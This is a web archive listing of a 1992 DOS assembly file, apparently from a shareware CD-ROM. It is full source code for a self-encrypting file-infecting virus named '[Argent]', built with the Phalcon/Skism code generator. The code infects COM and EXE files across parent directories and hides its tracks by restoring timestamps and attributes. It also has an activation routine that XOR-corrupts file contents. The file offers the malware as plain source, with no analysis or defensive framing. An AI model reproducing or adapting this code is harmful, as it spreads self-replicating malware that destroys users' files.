home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SOM.ASM < prev    next >
Assembly Source File  |  1992-08-16  |  15KB  |  406 lines

  1. ; SOM.asm : [Argent] by Abraxas
  2. ; Created wik the Phalcon/Skism Mass-Produced Code Generator
  3. ; from the configuration file skeleton.cfg
  4.  
  5. .model tiny                             ; Handy directive
  6. .code                                   ; Virus code segment
  7.           org    100h                   ; COM file starting IP
  8.  
  9. id = 'Z1'                               ; ID word for EXE infections
  10. entry_point: db 0e9h,0,0                ; jmp decrypt
  11.  
  12. decrypt:                                ; handles encryption and decryption
  13.           mov  cx,(offset heap - offset startencrypt)/2 ; iterations
  14. patch_startencrypt:
  15.           mov  di,offset startencrypt   ; start of decryption
  16. decrypt_loop:
  17.           db   2eh,81h,35h              ; xor word ptr cs:[di], xxxx
  18. decrypt_value dw 0                      ; initialised at zero for null effect
  19.           inc  di                       ; calculate new decryption location
  20.           inc  di
  21.           loop decrypt_loop             ; decrypt mo'
  22. startencrypt:
  23.           call next                     ; calculate delta offset
  24. next:     pop  bp                       ; bp = IP next
  25.           sub  bp,offset next           ; bp = delta offset
  26.  
  27.           cmp  sp,id                    ; COM or EXE?
  28.           je   restoreEXE
  29. restoreCOM:
  30.           lea  si,[bp+save3]
  31.           mov  di,100h
  32.           push di                       ; For later return
  33.           movsb
  34.           jmp  short restoreEXIT
  35. restoreEXE:
  36.           push ds
  37.           push es
  38.           push cs                       ; DS = CS
  39.           pop  ds
  40.           push cs                       ; ES = CS
  41.           pop  es
  42.           lea  si,[bp+jmpsave2]
  43.           lea  di,[bp+jmpsave]
  44.           movsw
  45.           movsw
  46.           movsw
  47. restoreEXIT:
  48.           movsw
  49.  
  50.           mov  byte ptr [bp+numinfec],2 ; reset infection counter
  51.  
  52.           mov  ah,1Ah                   ; Set new DTA
  53.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  54.           int  21h
  55.  
  56.           mov  ah,47h                   ; Get current directory
  57.           mov  dl,0                     ; Current drive
  58.           lea  si,[bp+origdir]          ; DS:SI->buffer
  59.           int  21h
  60.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  61.  
  62.           mov  ax,3524h                 ; Get int 24 handler
  63.           int  21h                      ; to ES:BX
  64.           mov  word ptr [bp+oldint24],bx; Save it
  65.           mov  word ptr [bp+oldint24+2],es
  66.           mov  ah,25h                   ; Set new int 24 handler
  67.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  68.           int  21h
  69.           push cs                       ; Restore ES
  70.           pop  es                       ; 'cuz it was changed
  71.  
  72. dir_scan:                               ; "dot dot" traversal
  73.           lea  dx,[bp+exe_mask]
  74.           call infect_mask
  75.           lea  dx,[bp+com_mask]
  76.           call infect_mask
  77.           mov  ah,3bh                   ; change directory
  78.           lea  dx,[bp+dot_dot]          ; "cd .."
  79.           int  21h
  80.           jnc  dir_scan                 ; go back for mo!
  81.  
  82. done_infections:
  83.           mov  ah,2ch                   ; Get current time
  84.           int  21h
  85.           cmp  dl,50                    ; Check the percentage
  86.           jbe  activate
  87.  
  88. exit_virus:
  89.           mov  ax,2524h                 ; Restore int 24 handler
  90.           lds  dx,[bp+offset oldint24]  ; to original
  91.           int  21h
  92.           push cs
  93.           pop  ds
  94.  
  95.           mov  ah,3bh                   ; change directory
  96.           lea  dx,[bp+origdir-1]        ; original directory
  97.           int  21h
  98.  
  99.           mov  ah,1ah                   ; restore DTA to default
  100.           mov  dx,80h                   ; DTA in PSP
  101.           cmp  sp,id-4                  ; EXE or COM?
  102.           jz   returnEXE
  103. returnCOM:
  104.           int  21h
  105.           retn                          ; 100h is on stack
  106. returnEXE:
  107.           pop  es
  108.           pop  ds
  109.           int  21h
  110.           mov  ax,es                    ; AX = PSP segment
  111.           add  ax,10h                   ; Adjust for PSP
  112.           add  word ptr cs:[bp+jmpsave+2],ax
  113.           add  ax,word ptr cs:[bp+stacksave+2]
  114.           cli                           ; Clear intrpts for stack manipulation
  115.           mov  sp,word ptr cs:[bp+stacksave]
  116.           mov  ss,ax
  117.           sti
  118.           db   0eah                     ; jmp ssss:oooo
  119. jmpsave             dd ?                ; Original CS:IP
  120. stacksave           dd ?                ; Original SS:SP
  121. jmpsave2            db ?                ; Actually four bytes
  122. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  123. stacksave2          dd ?
  124.  
  125. activate:                                       ; Conditions satisfied
  126.                 mov     ax,04301h               ; DOS set file attributes function
  127.         xor    cx,cx            ; File will have no attributes
  128.         lea    dx,[di + 01Eh]        ; DX points to file name
  129.         int    021h
  130.         mov    ax,03D02h        ; DOS open file function, r/w
  131.         lea    dx,[di + 01Eh]        ; DX points to file name
  132.         int    021h
  133.         xchg    bx,ax            ; Transfer file handle to AX
  134. c_crypt_loop:    mov    ah,03Fh            ; DOS read from file function
  135.         mov    cx,4096            ; Read 4k of characters
  136.         lea    dx,[bp - 4096]        ; DX points to the buffer
  137.         int    021h
  138.         or    ax,ax            ; Were 0 bytes read?
  139.         je    close_c_file        ; If so then close it up
  140.         push    ax            ; Save AX
  141.         lea    si,[bp - 4096]        ; SI points to the buffer
  142.         xor    ah,ah            ; BIOS get clock ticks function
  143.         int    01Ah
  144.         pop    cx            ; CX holds number of bytes read
  145.         push    cx            ; Save CX
  146. corrupt_bytes:    xor    byte ptr [si],dl    ; XOR byte by clock ticks
  147.         inc    si            ; Do the next byte
  148.         inc    dx            ; Change the key for next byte
  149.         loop    corrupt_bytes        ; Repeat until buffer is done
  150.         pop    dx            ; Restore DX (holds bytes read)
  151.         push    dx            ; Save count for write
  152.         mov    ax,04201h        ; DOS file seek function, current
  153.         mov    cx,0FFFFh        ; Seeking backwards
  154.         neg    dx            ; Seeking backwards
  155.         int    021h
  156.         mov    ah,040h            ; DOS write to file function
  157.         pop    cx            ; CX holds number of bytes read
  158.         lea    dx,[bp - 4096]        ; DX points to the buffer
  159.         int    021h
  160.         jmp    short c_crypt_loop
  161. close_c_file:    mov    ax,05701h        ; DOS set file date/time function
  162.         mov    cx,[di + 016h]        ; CX holds old file time
  163.         mov    dx,[di + 018h]        ; DX holds old file data
  164.         int    021h
  165.         mov    ah,03Eh            ; DOS close file function
  166.         int    021h
  167.         mov    ax,04301h        ; DOS set file attributes function
  168.         xor    ch,ch            ; Clear CH for attributes
  169.         mov    cl,[di + 015h]        ; CL holds old attributes
  170.         lea    dx,[di + 01Eh]        ; DX points to file name
  171.         int    021h
  172.         mov    ah,04Fh            ; DOS find next file function
  173.         int    021h
  174.                 jnc     Activate                ; If successful do next file
  175. corrupt_end:    pop    di            ; Restore DI
  176.         mov    sp,bp            ; Deallocate local buffer
  177.         pop    bp            ; Restore BP
  178.                 jmp  exit_virus
  179.  
  180. creator             db '[Z10]',0        ; Mass Produced Code Generator
  181. virusname           db '[Argent]',0
  182. author              db 'Abraxas',0
  183.  
  184. infect_mask:
  185.           mov  ah,4eh                   ; find first file
  186.           mov  cx,7                     ; any attribute
  187. findfirstnext:
  188.           int  21h                      ; DS:DX points to mask
  189.           jc   exit_infect_mask         ; No mo files found
  190.  
  191.           mov  al,0h                    ; Open read only
  192.           call open
  193.  
  194.           mov  ah,3fh                   ; Read file to buffer
  195.           lea  dx,[bp+buffer]           ; @ DS:DX
  196.           mov  cx,1Ah                   ; 1Ah bytes
  197.           int  21h
  198.  
  199.           mov  ah,3eh                   ; Close file
  200.           int  21h
  201.  
  202.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  203.           jz   checkEXE                 ; Why yes, yes it is!
  204. checkCOM:
  205.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  206.           cmp  ax,15000                 ; Is it too small?
  207.           jb   find_next
  208.  
  209.           cmp  ax,65535-(endheap-decrypt) ; Is it too large?
  210.           ja   find_next
  211.  
  212.           mov  bx,word ptr [bp+buffer+1]; get jmp location
  213.           add  bx,heap-decrypt+3        ; Adjust for virus size
  214.           cmp  ax,bx
  215.           je   find_next                ; already infected
  216.           jmp  infect_com
  217. checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  218.           jnz  infect_exe
  219. find_next:
  220.           mov  ah,4fh                   ; find next file
  221.           jmp  short findfirstnext
  222. exit_infect_mask: ret
  223.  
  224. infect_exe:
  225.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  226.           mov  word ptr [bp+jmpsave2], ax
  227.           mov  word ptr [bp+jmpsave2+2], es
  228.  
  229.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  230.           mov  word ptr [bp+stacksave2], es
  231.           mov  word ptr [bp+stacksave2+2], ax
  232.  
  233.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  234.           mov  cl, 4                    ; convert to bytes
  235.           shl  ax, cl
  236.           xchg ax, bx
  237.  
  238.           les  ax, [bp+offset newDTA+26]; Get file size
  239.           mov  dx, es                   ; to DX:AX
  240.           push ax
  241.           push dx
  242.  
  243.           sub  ax, bx                   ; Subtract header size from
  244.           sbb  dx, 0                    ; file size
  245.  
  246.           mov  cx, 10h                  ; Convert to segment:offset
  247.           div  cx                       ; form
  248.  
  249.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  250.           mov  word ptr [bp+buffer+16h], ax
  251.  
  252.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  253.           mov  word ptr [bp+buffer+10h], id
  254.  
  255.           pop  dx                       ; get file length
  256.           pop  ax
  257.  
  258.           add  ax, heap-decrypt         ; add virus size
  259.           adc  dx, 0
  260.  
  261.           mov  cl, 9
  262.           push ax
  263.           shr  ax, cl
  264.           ror  dx, cl
  265.           stc
  266.           adc  dx, ax
  267.           pop  ax
  268.           and  ah, 1                    ; mod 512
  269.  
  270.           mov  word ptr [bp+buffer+4], dx ; new file size
  271.           mov  word ptr [bp+buffer+2], ax
  272.  
  273.           push cs                       ; restore ES
  274.           pop  es
  275.  
  276.           push word ptr [bp+buffer+14h] ; needed later
  277.           mov  cx, 1ah
  278.           jmp  short finishinfection
  279. infect_com:                             ; ax = filesize
  280.           mov  cx,3
  281.           sub  ax,cx
  282.           lea  si,[bp+offset buffer]
  283.           lea  di,[bp+offset save3]
  284.           movsw
  285.           movsb
  286.           mov  byte ptr [si-3],0e9h
  287.           mov  word ptr [si-2],ax
  288.           add  ax,103h
  289.           push ax                       ; needed later
  290. finishinfection:
  291.           push cx                       ; Save # bytes to write
  292.           xor  cx,cx                    ; Clear attributes
  293.           call attributes               ; Set file attributes
  294.  
  295.           mov  al,2
  296.           call open
  297.  
  298.           mov  ah,40h                   ; Write to file
  299.           lea  dx,[bp+buffer]           ; Write from buffer
  300.           pop  cx                       ; cx bytes
  301.           int  21h
  302.  
  303.           mov  ax,4202h                 ; Move file pointer
  304.           xor  cx,cx                    ; to end of file
  305.           cwd                           ; xor dx,dx
  306.           int  21h
  307.  
  308. get_encrypt_value:
  309.           mov  ah,2ch                   ; Get current time
  310.           int  21h                      ; dh=sec,dl=1/100 sec
  311.           or  dx,dx                     ; Check if encryption value = 0
  312.           jz  get_encrypt_value         ; Get another if it is
  313.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  314.           lea  di,[bp+code_store]
  315.           mov  ax,5355h                 ; push bp,push bx
  316.           stosw
  317.           lea  si,[bp+decrypt]          ; Copy encryption function
  318.           mov  cx,startencrypt-decrypt  ; Bytes to move
  319.           push si                       ; Save for later use
  320.           push cx
  321.           rep  movsb
  322.  
  323.           lea    si,[bp+write]          ; Copy writing function
  324.           mov    cx,endwrite-write      ; Bytes to move
  325.           rep    movsb
  326.           pop    cx
  327.           pop    si
  328.           pop    dx                     ; Entry point of virus
  329.           push   di
  330.           push   si
  331.           push   cx
  332.           rep    movsb                  ; Copy decryption function
  333.           mov    ax,5b5dh               ; pop bx,pop bp
  334.           stosw
  335.           mov    al,0c3h                ; retn
  336.           stosb
  337.  
  338.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  339.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  340.           call   code_store             ; decryption
  341.           pop    cx
  342.           pop    di
  343.           pop    si
  344.           rep    movsb                  ; Restore decryption function
  345.  
  346.           mov  ax,5701h                 ; Restore creation date/time
  347.           mov  cx,word ptr [bp+newDTA+16h] ; time
  348.           mov  dx,word ptr [bp+newDTA+18h] ; date
  349.           int  21h
  350.  
  351.           mov  ah,3eh                   ; Close file
  352.           int  21h
  353.  
  354.           mov ch,0
  355.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  356.           call attributes               ; attributes
  357.  
  358.           dec  byte ptr [bp+numinfec]   ; One mo infection
  359.           jnz  mo_infections            ; Not enough
  360.           pop  ax                       ; remove call from stack
  361.           jmp  done_infections
  362. mo_infections: jmp find_next
  363.  
  364. open:
  365.           mov  ah,3dh
  366.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  367.           int  21h
  368.           xchg ax,bx
  369.           ret
  370.  
  371. attributes:
  372.           mov  ax,4301h                 ; Set attributes to cx
  373.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  374.           int  21h
  375.           ret
  376.  
  377. write:
  378.           pop  bx                       ; Restore file handle
  379.           pop  bp                       ; Restore relativeness
  380.           mov  ah,40h                   ; Write to file
  381.           lea  dx,[bp+decrypt]          ; Concatenate virus
  382.           mov  cx,heap-decrypt          ; # bytes to write
  383.           int  21h
  384.           push bx
  385.           push bp
  386. endwrite:
  387.  
  388. int24:                                  ; New int 24h (error) handler
  389.           mov  al,3                     ; Fail call
  390.           iret                          ; Return control
  391.  
  392. exe_mask            db '*.exe',0
  393. com_mask            db '*.com',0
  394. dot_dot             db '..',0
  395. heap:                                   ; Variables not in code
  396. ; The following code is the buffer for the write function
  397. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  398. oldint24            dd ?                ; Storage for old int 24h handler      
  399. backslash           db ?
  400. origdir             db 64 dup (?)       ; Current directory buffer             
  401. newDTA              db 43 dup (?)       ; Temporary DTA                        
  402. numinfec            db ?                ; Infections this run                  
  403. buffer              db 1ah dup (?)      ; read buffer                          
  404. endheap:                                ; End of virus
  405. end       entry_point
  406.